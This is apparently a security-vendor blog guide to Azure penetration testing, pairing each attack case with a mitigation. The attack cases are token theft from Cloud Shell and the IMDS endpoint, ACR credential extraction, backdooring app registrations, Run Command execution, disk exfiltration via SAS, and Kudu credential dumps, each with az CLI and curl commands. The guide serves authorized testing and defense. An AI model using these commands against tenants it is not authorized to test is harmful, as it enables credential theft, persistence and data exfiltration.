Azure Cloud Penetration Testing Guide: A Complete Technical Blueprint

Cloud security is a cornerstone of modern enterprise defense, and Azure penetration testing has become a top priority for organizations relying on Microsoft’s cloud ecosystem. Unlike traditional on-prem infrastructures, Azure environments present a complex mix of identity-based security controls, network segmentation, SaaS integrations, and PaaS services. For penetration testers and security professionals, mastering these nuances is crucial to simulate real-world adversaries effectively.

This comprehensive guide provides a structured methodology to conduct Azure cloud penetration testing—from initial enumeration to exploitation and post-exploitation—designed for intermediate to senior security professionals.

Table of Contents

• Why Azure Penetration Testing Matters
• Pre-Engagement Rules and Scoping
• Understanding Azure Architecture
• Azure Attacks & Test Cases
  • Azure Portal access for all users (tenant-wide info leak)
  • Anonymous service discovery via Azure DNS suffixes
  • Azure Storage Blob scanning (anonymous)
  • Tenant enumeration (OpenID config)
  • Azure Cloud Shell extract access token (session abuse)
  • ACR pulls images with Reader account (misconfig paths)
  • ACR extract admin password (if enabled)
  • AKS gathers kubectl credentials
  • Azure Functions access keysare stored in Storage by default
  • Backdoor Azure Applications & Abuse Service Principals
  • Exploit VM Managed Identity (MSI)
  • VM Run Command (Linux & Windows) escalation via Contributor
  • Exfiltration of VM disks (SAS grant)
  • Dump credentials from App Service (Kudu/SCM)
• Tooling quick-reference

Why Azure Penetration Testing Matters

Microsoft Azure hosts over 70% of Fortune 500 companies, making it a prime target for threat actors. While Microsoft provides robust security controls, misconfigurations, weak identity management, and excessive permissions remain the biggest attack surfaces.

For U.S. organizations testing Azure environments, regular penetration testing should be a non-negotiable part of cloud security programs that need to validate permissions, configurations, identity paths, and exposed services.

Penetration testing Azure environments helps organizations:

• Identify insecure default configurations.
• Detect excessive privileges and role misassignments.
• Expose overlooked attack paths such as Azure AD abuse or service principal compromise.
• Strengthen incident response and detection capabilities.

“Cloud misconfiguration is still the number one cause of breaches in cloud environments.” Gartner 2024 Security Report

Pre-Engagement Rules and Scoping

Before launching any testing activity, clear rules of engagement must be established to remain compliant with Microsoft’s Cloud Penetration Testing Rules.

Key Scoping Considerations

• Scope definition: Clearly list all tenants, subscriptions, and resources in scope.
• Testing approvals: Obtain explicit approval from the Azure tenant owner.
• Third-party services: Check terms of service if testing involves integrations like M365, GitHub, or Power BI.
• Out-of-scope targets: Microsoft explicitly forbids targeting shared infrastructure or Azure-hosted services outside the tenant.

Tip: Use a signed Rules of Engagement (RoE) document to protect both the testing team and the client.

Understanding Azure Architecture

A solid understanding of Azure’s structure is essential to identify attack vectors. Azure resources are organized in a hierarchical model:

1. Tenant → represents the organization’s identity boundary (Azure AD).
2. Management Groups → used to manage multiple subscriptions.
3. Subscriptions → billing and access boundary.
4. Resource Groups → logical containers for resources.
5. Resources → virtual machines, storage accounts, databases, Key Vaults, etc.

For UK teams validating Azure identity and access controls, Microsoft Entra ID controls access across Azure, M365, and connected SaaS applications, making privilege boundaries and permissions central to security review.

Azure Attacks & Test Cases

Azure Portal access for all users (tenant-wide info leak)

Why it matters: By default, any user can browse the Azure portal surface and enumerate some tenant objects and app connections.

Check

• Entra ID → Users → User settings → Restrict access to Azure portal (a.k.a. “Users can access the Azure portal”).
• Review sign-in logs for low-privilege accounts accessing portal.

Mitigation

• Set Restrict access to Admins only for production tenants.
• Combine with Conditional Access (MFA, compliant devices).

Anonymous service discovery via Azure DNS suffixes

Goal: Find accidentally exposed services by fuzzing common Azure DNS zones (read-only checks only).

Targets

• Storage: .blob.core.windows.net, .file.core.windows.net, .queue.core.windows.net, .table.core.windows.net
• App Services: .azurewebsites.net, SCM: .scm.azurewebsites.net
• Key Vault: .vault.azure.net
• Data: .database.windows.net, .documents.azure.com (Cosmos)
• Containers/Images: .azurecontainer.io, .azurecr.io
• Perimeter/CDN/Search: .azureedge.net, .azure-api.net, .search.windows.net

Safe triage

# Resolve candidate hostnames without sending requests to app paths
dig +short myapp.azurewebsites.net
dig +short mystorage.blob.core.windows.net

Mitigation

• Disable public endpoints where not needed; prefer Private Endpoints + firewall allowlists.

Azure Storage Blob scanning (anonymous)

Goal: Detect publicly listable/READable containers.

Safe check

# Inventory
az graph query -q "Resources | where type=='microsoft.storage/storageaccounts' | project name,rg=resourceGroup,allowBlobPublicAccess=properties.allowBlobPublicAccess"

# Spot-test (anonymous listing)
az storage blob list \\\\
  --account-name <acct> \\\\
  --container-name <container> \\\\
  --auth-mode login \\\\
  --output table
# If anonymous listing is possible, stop; don’t download data.

Mitigation

• allowBlobPublicAccess=false, require SAS with short expiry, enable logging.

Tenant enumeration (OpenID config)

Goal: Identify tenant ID and endpoints safely.

curl -s <https://login.microsoftonline.com/><org-domain>/.well-known/openid-configuration | jq '.issuer,.authorization_endpoint,.token_endpoint'

What to expect: Tenant (GUID) revealed via issuer; use only for scoping. Mitigation: None needed—public metadata by design. Use branding and monitoring to reduce phishing utility.

Azure Cloud Shell extract access token (session abuse)

Goal: Reuse cached bearer tokens from a compromised Cloud Shell.

# Inside Cloud Shell
cat ~/.azure/accessTokens.json

Evidence: JWTs scoped to ARM/Graph. Mitigation: Disable Cloud Shell for non-admins, enforce re-auth, monitor Cloud Shell app sign-ins, shorten token lifetimes.

ACR pull images with Reader account (misconfig paths)

Risk patterns

• Admin user enabled on ACR → static username/password usable by broader roles.
• Anonymous pull enabled (registry-level) → public read of images.

Checks

az acr show -n <registry> -g <rg> --query "{adminUserEnabled:adminUserEnabled, policies:policies}"
az role assignment list --scope $(az acr show -n <registry> --query id -o tsv) -o table

What to look for

• adminUserEnabled: true
• Assignments where low-priv roles can indirectly pull (e.g., via pipeline agents or mis-scoped custom role).

Mitigation

• Disable admin user; require AcrPull on least-priv scopes; consider private link for build/AKS paths.

ACR extract admin password (if enabled)

Goal: Retrieve ACR admin creds (high impact if someone left it on).

# Requires adequate rights on ACR resource
az acr credential show -n <registry>

Mitigation

• Set adminUserEnabled=false, rotate any leaked creds, prefer MSI/OIDC for CI.

AKS gather kubectl credentials

Goal: Obtain cluster credentials from control plane (if caller has rights).

az aks get-credentials -g <rg> -n <aks> --overwrite-existing
kubectl get pods -A

What to expect: If Azure AD/RBAC is weak, this yields cluster-admin or broad namespace access. Mitigation: Enforce Azure AD for AKS, granular Kubernetes RBAC, and least-priv on get-credentials.

Azure Functions access keys stored in Storage by default

Goal: Read Function host keys if Storage is weakly secured.

# Common secrets container
az storage blob list \\\\
  --account-name <func_storage_acct> \\\\
  --container-name azure-webjobs-secrets \\\\
  --auth-mode login -o table

Mitigation

• Lock Storage with Private Endpoints; Key Vault references for secrets; rotate function keys.

Backdoor Azure Applications & abuse Service Principals

Goal: Persistence via app creds/owners/permissions.

Common abuse paths

• Add a new credential to an existing App Reg
• Grant API permissions (Graph/ARM) and admin-consent
• Add yourself as App Owner for re-entry

Commands

# Add new secret to app
az ad app credential reset --id <APP_ID> --append --display-name "ops-automation" --years 1

# Add owner
az ad app owner add --id <APP_ID> --owner-object-id <ATTACKER_OBJECT_ID>

# Grant permissions (careful; needs admin rights)
az ad app permission add   --id <APP_ID> --api <RESOURCE_APP_ID> --api-permissions <PERM_ID>=Role
az ad app permission grant --id <APP_ID> --api <RESOURCE_APP_ID>

Mitigation

• Restrict who can modify app registrations and grant consent; PIM for App Admin; alert on new app credentials/owners.

Exploit VM Managed Identity (MSI)

Goal: Pull an ARM/Graph token from the instance metadata endpoint (IMDS).

curl -H "Metadata:true" \\\\
  "<http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com>"

Mitigation

• Use NSG/DNS egress controls; prefer user-assigned identities with narrow scopes; monitor IMDS access.

VM Run Command (Linux & Windows) escalation via Contributor

Goal: Execute commands as root (Linux) or NT AUTHORITY\SYSTEM (Windows) when you have Microsoft.Compute/*/runCommand via Contributor.

# Linux
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "id"

# Windows
az vm run-command invoke -g <rg> -n <vm> --command-id RunPowerShellScript --scripts "whoami"

Mitigation

• Replace Contributor with custom roles that exclude Run Command; JIT + Bastion for maintenance.

Exfiltration of VM disks (SAS grant)

Goal: Obtain a time-bound SAS URL to read VHD contents.

az disk grant-access --name <diskName> --resource-group <rg> --duration-in-seconds 3600

Mitigation

• Limit who can manage disks; disable broad Contributor at RG/subscription; alert on grant-access operations.

Dump credentials from App Service (Kudu/SCM)

Goal: Enumerate environment variables and settings via Kudu if reachable.

# If SCM is accessible and auth misconfigured
curl -u <user>:<pass> https://<app>.scm.azurewebsites.net/api/settings
# Or via CLI (safer)
az webapp config appsettings list -g <rg> -n <app>

Mitigation

• Protect Kudu with strong auth; move secrets to Key Vault references; disable FTP/Basic where possible.

Tooling quick-reference

• MicroBurst: discovery, weak config audit, post-ex (creds dump)
• LAVA: Azure exploitation framework
• MFASweep / MSOLSpray / O365Creeper: auth surface testing
• PowerZure: reconnaissance + exploitation across Azure/Entra

Tooling quick-reference

How to weave these into your report

• Add each item as a discrete finding where applicable: Description → Affected resources → Evidence (command + redacted output) → Impact → Remediation → Detection (KQL/Activity Log op) → Owner & ETA.
• For retest, re-run the same commands/queries and attach before/after snippets.

Expert Sources Referenced

• Microsoft Cloud Penetration Testing Rules of Engagement
• https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/index.html
• https://www.sans.org/webcasts/sans-workshop-building-azure-pentest-lab-red-teams/